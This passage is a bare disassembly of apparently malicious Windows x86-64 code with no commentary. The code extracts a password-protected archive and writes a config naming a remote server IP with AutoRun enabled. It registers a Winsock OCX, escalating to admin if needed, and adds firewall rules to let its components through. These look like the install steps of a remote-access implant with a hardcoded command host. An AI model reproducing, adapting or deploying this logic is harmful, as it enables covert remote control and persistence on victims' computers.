add eax, 0xffffffff
setne al
test al, al
jne 0x140009c76
mov rcx, qword [rbp + 0x28]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x140009c86
mov dl, 0x20
call fcn.14002aa00
mov rax, qword [rbp + 0x3c8]
mov r8d, dword [rax + 4]
mov rdx, qword [rax + 0x10]
add rdx, rax
mov rcx, rbx
call fcn.140023300
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x140009cb1
mov dl, 0x20
call fcn.14002aa00
nop
lea rcx, [rbp + 0xf0]
call fcn.140022ff0
xor eax, eax
mov qword [rbp + 0x3f8], rax
lea rcx, [rbp + 0x3f8]
call fcn.14000cc60
nop
mov qword [rbp + 0x170], 2
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x178], xmm0
mov qword [rbp + 0x188], r14
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x170]
call fcn.14000f950
mov rbx, rax
mov r8d, edi
lea rdx, str.Current_User_LocalAppData:
lea rcx, [rbp - 0x70]
call fcn.140004060
nop
mov rdx, rax
mov rcx, qword [rbx]
call fcn.14002a980
nop
mov rcx, qword [rbp - 0x70]
mov eax, dword [rcx]
test eax, eax
je 0x140009d49
cmp eax, 0xffffffff
je 0x140009d57
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009d57
mov rcx, qword [rbp - 0x70]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x140009d67
mov dl, 0x20
call fcn.14002aa00
mov rax, qword [rbp + 0x3f8]
mov r8d, dword [rax + 4]
mov rdx, qword [rax + 0x10]
add rdx, rax
mov rcx, rbx
call fcn.140023300
mov rcx, qword [rbx]
cmp byte [rcx + 0x20], 0
je 0x140009d92
mov dl, 0x20
call fcn.14002aa00
nop
lea rcx, [rbp + 0xf8]
call fcn.140022ff0
mov edx, 9
lea rcx, str.sqnrsg.7z
call fcn.14001a7e0
mov qword [rbp + 0x580], rax
xor eax, eax
mov qword [rbp + 0x400], rax
lea r8, str._sqnrsg.7z
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x400]
call fcn.140005730
nop
mov rax, qword [rbp + 0x400]
mov qword [rbp + 0x528], rax
mov ecx, dword [rax]
inc ecx
cmp ecx, 1
jbe 0x140009df4
lock inc dword [rax]
xor eax, eax
mov qword [rbp + 0x488], rax
lea r8d, [rax + 0x10]
lea rdx, str.J1Cg1r1YRB7reKkx
lea rcx, [rbp + 0x488]
call fcn.14002d750
nop
mov dword [rsp + 0x20], 0xc
lea r9, [0x141474d90]
lea r8, [0x140733ab0]
lea rdx, [rbp + 0x488]
lea rcx, [rbp + 0x528]
call fcn.140008300
mov edx, 2
lea rcx, [0x1402bbc24]
call fcn.14001a7e0
mov qword [rsp + 0x60], rax
mov edx, 0xd
lea rcx, str._pAb123456789
call fcn.14001a7e0
mov qword [rsp + 0x70], rax
mov edx, 1
lea rcx, [0x1402bbc0c]
call fcn.14001a7e0
mov qword [rsp + 0x78], rax
lea r8, [rbp + 0x378]
lea rcx, [rbp + 0x80]
call fcn.1400057d0
mov rbx, rax
mov qword [rsp + 0x30], r12
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x30]
call fcn.14000c140
lea rdx, [rbp + 0x400]
lea rcx, [rsp + 0x30]
call fcn.14000c140
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.14000c140
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.14000c140
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14000c140
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x3a0]
call fcn.140038330
nop
mov rdx, qword [rsp + 0x30]
mov eax, dword [rdx]
test eax, eax
je 0x140009f1d
cmp eax, 0xffffffff
je 0x140009f28
mov eax, edi
lock xadd dword [rdx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009f28
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.140005110
nop
mov rcx, qword [rbp + 0x80]
mov eax, dword [rcx]
test eax, eax
je 0x140009f51
cmp eax, 0xffffffff
je 0x140009f60
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009f60
mov rcx, qword [rbp + 0x80]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rsp + 0x78]
mov eax, dword [rcx]
test eax, eax
je 0x140009f85
cmp eax, 0xffffffff
je 0x140009f94
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009f94
mov rcx, qword [rsp + 0x78]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rsp + 0x70]
mov eax, dword [rcx]
test eax, eax
je 0x140009fb9
cmp eax, 0xffffffff
je 0x140009fc8
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009fc8
mov rcx, qword [rsp + 0x70]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx]
test eax, eax
je 0x140009fed
cmp eax, 0xffffffff
je 0x140009ffb
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x140009ffb
mov rcx, qword [rsp + 0x60]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
xor eax, eax
mov qword [rbp + 0x490], rax
lea r8, str._sqnrsg
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x490]
call fcn.140005730
nop
xor eax, eax
mov qword [rbp + 0x440], rax
lea r8, str._sqnrsg_MSWINSCK.OCX
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x440]
call fcn.140005730
nop
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x70]
call fcn.140007fb0
mov rbx, rax
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x78]
call fcn.140007fb0
nop
mov rdx, rbx
mov rcx, rax
call fcn.1400041e0
nop
mov rcx, qword [rbp + 0x78]
mov eax, dword [rcx]
test eax, eax
je 0x14000a096
cmp eax, 0xffffffff
je 0x14000a0a5
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000a0a5
mov rcx, qword [rbp + 0x78]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x70]
mov eax, dword [rcx]
test eax, eax
je 0x14000a0c8
cmp eax, 0xffffffff
je 0x14000a0d6
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000a0d6
mov rcx, qword [rbp + 0x70]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x60]
call fcn.140007fb0
mov rbx, rax
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x68]
call fcn.140007fb0
nop
mov rdx, rbx
mov rcx, rax
call fcn.1400041e0
nop
mov rcx, qword [rbp + 0x68]
mov eax, dword [rcx]
test eax, eax
je 0x14000a129
cmp eax, 0xffffffff
je 0x14000a138
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000a138
mov rcx, qword [rbp + 0x68]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x60]
mov eax, dword [rcx]
test eax, eax
je 0x14000a15b
cmp eax, 0xffffffff
je 0x14000a169
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000a169
mov rcx, qword [rbp + 0x60]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
xor eax, eax
mov qword [rbp + 0x498], rax
lea r8, str._wangyamonitor.dat
lea rdx, [rbp + 0x3c8]
lea rcx, [rbp + 0x498]
call fcn.140005730
nop
xor eax, eax
mov qword [rbp + 0x4a0], rax
lea r8, str._wangyamonitor.dat
lea rdx, [rbp + 0x3f8]
lea rcx, [rbp + 0x4a0]
call fcn.140005730
nop
xor eax, eax
mov qword [rbp + 0x388], rax
lea edx, [rax + 0x68]
lea rcx, str.206.238.178.53
call fcn.14001a7e0
mov qword [rbp + 0x388], rax
mov word [rsp + 0x46], r15w
mov r8d, 1
movzx edx, r15w
lea rcx, [rbp + 0x388]
call fcn.14001e270
mov rdx, rax
lea rcx, [rbp + 0x388]
call fcn.1400167d0
xor eax, eax
mov qword [rbp + 0x560], rax
mov qword [rbp + 0x568], rax
lea rdx, [rbp + 0x498]
lea rcx, [rbp + 0x58]
call fcn.140007fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x560]
call fcn.140012b10
nop
mov rcx, qword [rbp + 0x58]
mov eax, dword [rcx]
test eax, eax
je 0x14000a24f
cmp eax, 0xffffffff
je 0x14000a25d
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000a25d
mov rcx, qword [rbp + 0x58]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov dword [rbp + 0x94], 0x12
mov edx, 0x12
lea rcx, [rbp + 0x560]
call fcn.140013580
test al, al
je 0x14000a3ba
xor eax, eax
mov qword [rbp + 0x410], rax
mov qword [rbp + 0x418], rax
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x410]
call fcn.14002a630
nop
lea rdx, str._Hotkey_
lea rcx, [rbp + 0x410]
call fcn.14002aed0
mov rcx, rax
lea rdx, [0x1402bbe3c]
call fcn.14002aed0
lea rdx, str.sett70
lea rcx, [rbp + 0x410]
call fcn.14002aed0
mov rcx, rax
lea rdx, [0x1402bbe3c]
call fcn.14002aed0
lea rdx, str._Serverip_
lea rcx, [rbp + 0x410]
call fcn.14002aed0
mov rcx, rax
lea rdx, [0x1402bbe3c]
call fcn.14002aed0
lea rdx, str.sett
lea rcx, [rbp + 0x410]
call fcn.14002aed0
mov rcx, rax
lea rdx, [rbp + 0x388]
call fcn.14002a980
mov rcx, rax
lea rdx, [0x1402bbe3c]
call fcn.14002aed0
lea rdx, str.isweb0
lea rcx, [rbp + 0x410]
call fcn.14002aed0
mov rcx, rax
lea rdx, [0x1402bbe3c]
call fcn.14002aed0
lea rdx, str._SysSet_
lea rcx, [rbp + 0x410]
call fcn.14002aed0
mov rcx, rax
lea rdx, [0x1402bbe3c]
call fcn.14002aed0
lea rdx, str.AutoRun1
lea rcx, [rbp + 0x410]
call fcn.14002aed0
mov rcx, rax
lea rdx, [0x1402bbe3c]
call fcn.14002aed0
lea rcx, [rbp + 0x560]
call fcn.140032210
nop
lea rcx, [rbp + 0x410]
call fcn.14002a830
xor eax, eax
mov qword [rbp + 0x550], rax
mov qword [rbp + 0x558], rax
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x50]
call fcn.140007fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x550]
call fcn.140012b10
nop
mov rcx, qword [rbp + 0x50]
mov eax, dword [rcx]
test eax, eax
je 0x14000a40e
cmp eax, 0xffffffff
je 0x14000a41c
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000a41c
mov rcx, qword [rbp + 0x50]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
mov dword [rbp + 0x90], 0x12
mov edx, 0x12
lea rcx, [rbp + 0x550]
call fcn.140013580
test al, al
je 0x14000a579
xor eax, eax
mov qword [rbp + 0x420], rax
mov qword [rbp + 0x428], rax
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x420]
call fcn.14002a630
nop
lea rdx, str._Hotkey_
lea rcx, [rbp + 0x420]
call fcn.14002aed0
mov rcx, rax
lea rdx, [0x1402bbe3c]
call fcn.14002aed0
lea rdx, str.sett70
lea rcx, [rbp + 0x420]
call fcn.14002aed0
mov rcx, rax
lea rdx, [0x1402bbe3c]
call fcn.14002aed0
lea rdx, str._Serverip_
lea rcx, [rbp + 0x420]
call fcn.14002aed0
mov rcx, rax
lea rdx, [0x1402bbe3c]
call fcn.14002aed0
lea rdx, str.sett
lea rcx, [rbp + 0x420]
call fcn.14002aed0
mov rcx, rax
lea rdx, [rbp + 0x388]
call fcn.14002a980
mov rcx, rax
lea rdx, [0x1402bbe3c]
call fcn.14002aed0
lea rdx, str.isweb0
lea rcx, [rbp + 0x420]
call fcn.14002aed0
mov rcx, rax
lea rdx, [0x1402bbe3c]
call fcn.14002aed0
lea rdx, str._SysSet_
lea rcx, [rbp + 0x420]
call fcn.14002aed0
mov rcx, rax
lea rdx, [0x1402bbe3c]
call fcn.14002aed0
lea rdx, str.AutoRun1
lea rcx, [rbp + 0x420]
call fcn.14002aed0
mov rcx, rax
lea rdx, [0x1402bbe3c]
call fcn.14002aed0
lea rcx, [rbp + 0x550]
call fcn.140032210
nop
lea rcx, [rbp + 0x420]
call fcn.14002a830
xor eax, eax
mov qword [rbp + 0x4a8], rax
lea edx, [rax + 0xd]
lea rcx, str._MSWINSCK.OCX
call fcn.14001a7e0
mov qword [rbp + 0x4a8], rax
xor eax, eax
mov qword [rbp + 0x408], rax
lea r8, [rbp + 0x4a8]
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x408]
call fcn.140005610
nop
lea rdx, [rbp + 0x408]
lea rcx, [rbp + 0x48]
call fcn.140007fb0
nop
mov rcx, rax
call fcn.140005b00
test al, al
sete bl
mov rcx, qword [rbp + 0x48]
mov eax, dword [rcx]
test eax, eax
je 0x14000a5fd
cmp eax, 0xffffffff
je 0x14000a60b
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000a60b
mov rcx, qword [rbp + 0x48]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
test bl, bl
je 0x14000a745
mov qword [rbp + 0x190], 2
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x198], xmm0
mov qword [rbp + 0x1a8], r14
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x190]
call fcn.14000f950
nop
lea rdx, str.OCX_is_not_registered.
mov rcx, rax
call fcn.140004120
nop
lea rcx, [rbp + 0xe8]
call fcn.140022ff0
lea rdx, [rbp + 0x408]
lea rcx, [rbp + 0x20]
call fcn.140007fb0
nop
mov rcx, rax
call fcn.140005840
movzx ebx, al
mov rcx, qword [rbp + 0x20]
mov edx, dword [rcx]
test edx, edx
je 0x14000a69f
cmp edx, 0xffffffff
je 0x14000a6ad
mov edx, edi
lock xadd dword [rcx], edx
add edx, 0xffffffff
setne cl
test cl, cl
jne 0x14000a6ad
mov rcx, qword [rbp + 0x20]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
xorps xmm0, xmm0
test bl, bl
je 0x14000a6fb
mov qword [rbp + 0x1b0], 2
movdqu xmmword [rbp + 0x1b8], xmm0
mov qword [rbp + 0x1c8], r14
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x1b0]
call fcn.14000f950
nop
lea rdx, str.OCX_registered_successfully.
mov rcx, rax
call fcn.140004120
nop
lea rcx, [rbp + 0x100]
jmp 0x14000a740
mov qword [rbp + 0x1d0], 2
movdqu xmmword [rbp + 0x1d8], xmm0
mov qword [rbp + 0x1e8], r14
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x1d0]
call fcn.14000f950
nop
lea rdx, str.Failed_to_register_OCX._Trying_with_admin_privileges...
mov rcx, rax
call fcn.140004120
nop
lea rcx, [rbp + 0xb8]
call fcn.140022ff0
xor eax, eax
mov qword [rbp + 0x3c0], rax
lea r8, str._sqnrsg
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x3c0]
call fcn.140005730
nop
movdqa xmm0, xmmword [0x1402bc270]
movdqu xmmword [rbp + 0x5e8], xmm0
mov dword [rbp + 0x5f8], 0x78652e74
mov word [rbp + 0x5fc], reloc.WS2_32.dll_WSAAsyncSelect
mov dword [rbp + 0x5c8], 0x6373632f
mov dword [rbp + 0x5cc], 0x642e6574
mov word [rbp + 0x5d0], 0x6c6c
mov byte [rbp + 0x5d2], 0
xor eax, eax
mov qword [rbp + 0x430], rax
lea rax, [rbp + 0x5e8]
mov rdx, rdi
inc rdx
cmp byte [rax + rdx], 0
jne 0x14000a7c3
lea rcx, [rbp + 0x5e8]
call fcn.14001a7e0
mov qword [rbp + 0x430], rax
xor eax, eax
mov qword [rbp + 0x3d0], rax
lea r8, [rbp + 0x430]
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x3d0]
call fcn.140005610
nop
xor eax, eax
mov qword [rbp + 0x438], rax
lea rax, [rbp + 0x5c8]
mov rdx, rdi
inc rdx
cmp byte [rax + rdx], 0
jne 0x14000a816
lea rcx, [rbp + 0x5c8]
call fcn.14001a7e0
mov qword [rbp + 0x438], rax
xor eax, eax
mov qword [rbp + 0x470], rax
lea r8, [rbp + 0x438]
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x470]
call fcn.140005610
nop
mov edx, 0xa
lea rcx, str.WinAppRule
call fcn.14001a7e0
mov qword [rbp + 0x530], rax
mov edx, 0xb
lea rcx, str.WinDllpRule
call fcn.14001a7e0
mov qword [rbp + 0x538], rax
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x40]
call fcn.140007fb0
nop
lea rdx, [rbp + 0x530]
mov rcx, rax
call fcn.140006600
movzx ebx, al
mov rcx, qword [rbp + 0x40]
mov edx, dword [rcx]
test edx, edx
je 0x14000a8cc
cmp edx, 0xffffffff
je 0x14000a8da
mov edx, edi
lock xadd dword [rcx], edx
add edx, 0xffffffff
setne cl
test cl, cl
jne 0x14000a8da
mov rcx, qword [rbp + 0x40]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
test bl, bl
je 0x14000a92b
mov qword [rbp + 0x1f0], 2
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1f8], xmm0
mov qword [rbp + 0x208], r14
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x1f0]
call fcn.14000f950
nop
lea rdx, str.Firewall_rules_added_successfully
mov rcx, rax
call fcn.140004120
nop
lea rcx, [rbp + 0xb0]
call fcn.140022ff0
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x38]
call fcn.140007fb0
nop
lea rdx, [rbp + 0x538]
mov rcx, rax
call fcn.140006600
movzx ebx, al
mov rcx, qword [rbp + 0x38]
mov edx, dword [rcx]
test edx, edx
je 0x14000a971
cmp edx, 0xffffffff
je 0x14000a97f
mov edx, edi
lock xadd dword [rcx], edx
add edx, 0xffffffff
setne cl
test cl, cl
jne 0x14000a97f
mov rcx, qword [rbp + 0x38]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
test bl, bl
je 0x14000a9d0
mov qword [rbp + 0x210], 2
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x218], xmm0
mov qword [rbp + 0x228], r14
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x210]
call fcn.14000f950
nop
lea rdx, str.Firewall_rules_added_successfully
mov rcx, rax
call fcn.140004120
nop
lea rcx, [rbp + 0xa8]
call fcn.140022ff0
mov qword [rbp + 0x448], r12
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x30]
call fcn.140007fb0
nop
lea rdx, [rbp + 0x448]
mov rcx, rax
call fcn.140005b90
nop
mov rcx, qword [rbp + 0x30]
mov eax, dword [rcx]
test eax, eax
je 0x14000aa1b
cmp eax, 0xffffffff
je 0x14000aa29
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000aa29
mov rcx, qword [rbp + 0x30]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
xor edx, edx
lea rcx, [rbp + 0x378]
call fcn.140005da0
xorps xmm0, xmm0
test al, al
je 0x14000aa85
mov qword [rbp + 0x230], 2
movdqu xmmword [rbp + 0x238], xmm0
mov qword [rbp + 0x248], r14
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x230]
call fcn.14000f950
nop
lea rdx, str.Directory_removed_successfully
mov rcx, rax
call fcn.140004120
nop
lea rcx, [rbp + 0xa0]
jmp 0x14000aaca
mov qword [rbp + 0x250], 2
movdqu xmmword [rbp + 0x258], xmm0
mov qword [rbp + 0x268], r14
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x250]
call fcn.14000f950
nop
lea rdx, str.Failed_to_remove_directory
mov rcx, rax
call fcn.140004120
nop
lea rcx, [rbp + 0x98]
call fcn.140022ff0
mov ebx, esi
mov rdx, qword [rbp + 0x448]
mov eax, dword [rdx]
test eax, eax
je 0x14000aafa
cmp eax, 0xffffffff
je 0x14000ab07
mov eax, edi
lock xadd dword [rdx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000ab07
mov rdx, qword [rbp + 0x448]
lea rcx, [rbp + 0x448]
call fcn.140005110
nop
mov rax, qword [rbp + 0x538]
mov ecx, dword [rax]
test ecx, ecx
je 0x14000ab29
cmp ecx, 0xffffffff
je 0x14000ab3f
mov ecx, edi
lock xadd dword [rax], ecx
add ecx, 0xffffffff
setne al
test al, al
jne 0x14000ab3f
mov edx, 2
lea r8d, [rdx + 6]
mov rcx, qword [rbp + 0x538]
call fcn.14002cd80
nop
mov rax, qword [rbp + 0x530]
mov ecx, dword [rax]
test ecx, ecx
je 0x14000ab61
cmp ecx, 0xffffffff
je 0x14000ab77
mov ecx, edi
lock xadd dword [rax], ecx
add ecx, 0xffffffff
setne al
test al, al
jne 0x14000ab77
mov edx, 2
lea r8d, [rdx + 6]
mov rcx, qword [rbp + 0x530]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x470]
mov eax, dword [rcx]
test eax, eax
je 0x14000aba0
cmp eax, 0xffffffff
je 0x14000abaf
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000abaf
mov rcx, qword [rbp + 0x470]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x438]
mov eax, dword [rcx]
test eax, eax
je 0x14000abd8
cmp eax, 0xffffffff
je 0x14000abe7
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000abe7
mov rcx, qword [rbp + 0x438]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x3d0]
mov eax, dword [rcx]
test eax, eax
je 0x14000ac10
cmp eax, 0xffffffff
je 0x14000ac1f
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000ac1f
mov rcx, qword [rbp + 0x3d0]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x430]
mov eax, dword [rcx]
test eax, eax
je 0x14000ac48
cmp eax, 0xffffffff
je 0x14000ac57
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000ac57
mov rcx, qword [rbp + 0x430]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x3c0]
mov eax, dword [rcx]
test eax, eax
je 0x14000ac80
cmp eax, 0xffffffff
je 0x14000ac8f
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000ac8f
mov rcx, qword [rbp + 0x3c0]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x408]
mov eax, dword [rcx]
test eax, eax
je 0x14000acb8
cmp eax, 0xffffffff
je 0x14000acc7
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000acc7
mov rcx, qword [rbp + 0x408]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x4a8]
mov eax, dword [rcx]
test eax, eax
je 0x14000acf0
cmp eax, 0xffffffff
je 0x14000acff
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000acff
mov rcx, qword [rbp + 0x4a8]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
lea rcx, [rbp + 0x550]
call fcn.140012be0
nop
lea rcx, [rbp + 0x560]
call fcn.140012be0
nop
mov rcx, qword [rbp + 0x388]
mov eax, dword [rcx]
test eax, eax
je 0x14000ad42
cmp eax, 0xffffffff
je 0x14000ad51
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000ad51
mov rcx, qword [rbp + 0x388]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x4a0]
mov eax, dword [rcx]
test eax, eax
je 0x14000ad7a
cmp eax, 0xffffffff
je 0x14000ad89
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000ad89
mov rcx, qword [rbp + 0x4a0]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x498]
mov eax, dword [rcx]
test eax, eax
je 0x14000adb2
cmp eax, 0xffffffff
je 0x14000adc1
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000adc1
mov rcx, qword [rbp + 0x498]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x440]
mov eax, dword [rcx]
test eax, eax
je 0x14000adea
cmp eax, 0xffffffff
je 0x14000adf9
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000adf9
mov rcx, qword [rbp + 0x440]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x490]
mov eax, dword [rcx]
test eax, eax
je 0x14000ae22
cmp eax, 0xffffffff
je 0x14000ae31
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000ae31
mov rcx, qword [rbp + 0x490]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x488]
mov eax, dword [rcx]
test eax, eax
je 0x14000ae5a
cmp eax, 0xffffffff
je 0x14000ae69
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000ae69
mov rcx, qword [rbp + 0x488]
mov edx, 1
lea r8d, [rdx + 7]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x528]
mov eax, dword [rcx]
test eax, eax
je 0x14000ae92
cmp eax, 0xffffffff
je 0x14000aea1
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000aea1
mov rcx, qword [rbp + 0x528]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x400]
mov eax, dword [rcx]
test eax, eax
je 0x14000aeca
cmp eax, 0xffffffff
je 0x14000aed9
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000aed9
mov rcx, qword [rbp + 0x400]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rax, qword [rbp + 0x580]
mov ecx, dword [rax]
test ecx, ecx
je 0x14000aefb
cmp ecx, 0xffffffff
je 0x14000af11
mov ecx, edi
lock xadd dword [rax], ecx
add ecx, 0xffffffff
setne al
test al, al
jne 0x14000af11
mov edx, 2
lea r8d, [rdx + 6]
mov rcx, qword [rbp + 0x580]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x3f8]
mov eax, dword [rcx]
test eax, eax
je 0x14000af3a
cmp eax, 0xffffffff
je 0x14000af49
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000af49
mov rcx, qword [rbp + 0x3f8]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x3c8]
mov eax, dword [rcx]
test eax, eax
je 0x14000af72
cmp eax, 0xffffffff
je 0x14000af81
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000af81
mov rcx, qword [rbp + 0x3c8]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x480]
mov eax, dword [rcx]
test eax, eax
je 0x14000afaa
cmp eax, 0xffffffff
je 0x14000afb9
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000afb9
mov rcx, qword [rbp + 0x480]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x3b0]
mov eax, dword [rcx]
test eax, eax
je 0x14000afe2
cmp eax, 0xffffffff
je 0x14000aff1
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000aff1
mov rcx, qword [rbp + 0x3b0]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x3f0]
mov eax, dword [rcx]
test eax, eax
je 0x14000b01a
cmp eax, 0xffffffff
je 0x14000b029
mov eax, edi
lock xadd dword [rcx], eax
add eax, 0xffffffff
setne al
test al, al
jne 0x14000b029
mov rcx, qword [rbp + 0x3f0]
mov edx, 2
lea r8d, [rdx + 6]
call fcn.14002cd80
nop
mov rcx, qword [rbp + 0x478]
